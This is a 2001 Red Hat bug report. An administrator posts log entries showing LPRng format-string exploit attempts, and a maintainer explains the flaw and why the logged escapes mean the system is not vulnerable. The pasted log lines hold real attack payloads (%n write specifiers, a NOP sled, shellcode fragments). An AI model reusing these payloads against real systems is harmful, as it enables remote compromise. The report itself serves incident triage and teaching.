Bug 35634

Summary: a new LPRng exploit?
Product: [Retired] Red Hat Linux Reporter: Paul Johnson <pauljohn>
Component: LPRngAssignee: Crutcher Dunnavant <crutcher>
Status: CLOSED NOTABUG QA Contact: David Lawrence <dkl>
Severity: medium Docs Contact:
Priority: medium    
Version: 7.0Keywords: Security
Target Milestone: ---   
Target Release: ---   
Hardware: i386   
OS: Linux   
Whiteboard:
Fixed In Version: Doc Type: Bug Fix
Doc Text:
Story Points: ---
Clone Of: Environment:
Last Closed: 2001-04-11 14:17:56 UTC Type: ---
Regression: --- Mount Type: ---
Documentation: --- CRM:
Verified Versions: Category: ---
oVirt Team: --- RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: --- Target Upstream Version:
Embargoed:

Description Paul Johnson 2001-04-11 14:17:52 UTC
From Bugzilla Helper:
User-Agent: Mozilla/4.76 [en] (X11; U; Linux 2.2.16-22 i686)


Yesterday, on my fully updated RH system, lines like this started showing
up in /var/log/messages.  I realize they are symptoms of an LPRng exploit
that was discovered in November, 2000, but they are happening again on my
system.

Apr  9 04:15:11 dv46m61 SERVER[20197]: Dispatch_input: bad request line
'BB\s?]s?^s?_s?XXXXXXXXXXXXXXXXXX%.156u%300$n%.21u%301$nsecurity%302$n%.192u%303$n\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\2201[1I1@0FM\200\211e1R2f\211P1I\211KC\211]xC\211]tK\211M|\215MtM\2001I\211
Apr  9 04:15:14 dv46m61 SERVER[20198]: Dispatch_input: bad request line
'BB(q?)q?*q?+q?XXXXXXXXXXXXXXXXXX%.232u%300$n%.199u%301$nsecurity.i%302$n%.192u%303$n\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\2201[1I1@0FM\200\211e1R2f\211P1I\211KC\211]xC\211]tK\211M|\215MtM\2001I


Reproducible: Always
Steps to Reproduce:
1. open /var/log/messages
2. take a look for Dispatch_input: bad request line
3.
	

Actual Results:  have i been hacked?  This same thing has started appearing
on 2 RedHat systems that I administer.

# rpm -q LPRng
LPRng-3.6.24-2

Comment 1 Crutcher Dunnavant 2001-04-11 18:51:04 UTC
No, but someone is attacking.

The exploit in question was a vulnerability in the way LPRng logged messages,
namely that it treated an error string (the bad request line) as a format string.

For C hackers, this means the differance between:
	printf(str) and printf("%s", str)

to exploit it, you have to get the program to try and print the string. So if
you see error message with formatting escapes like:

	%.21u
	\s
	\220

you know that you are /not/ vulnerable, because those commands would have been
interpretted, instead of printed, on a vulnerable box.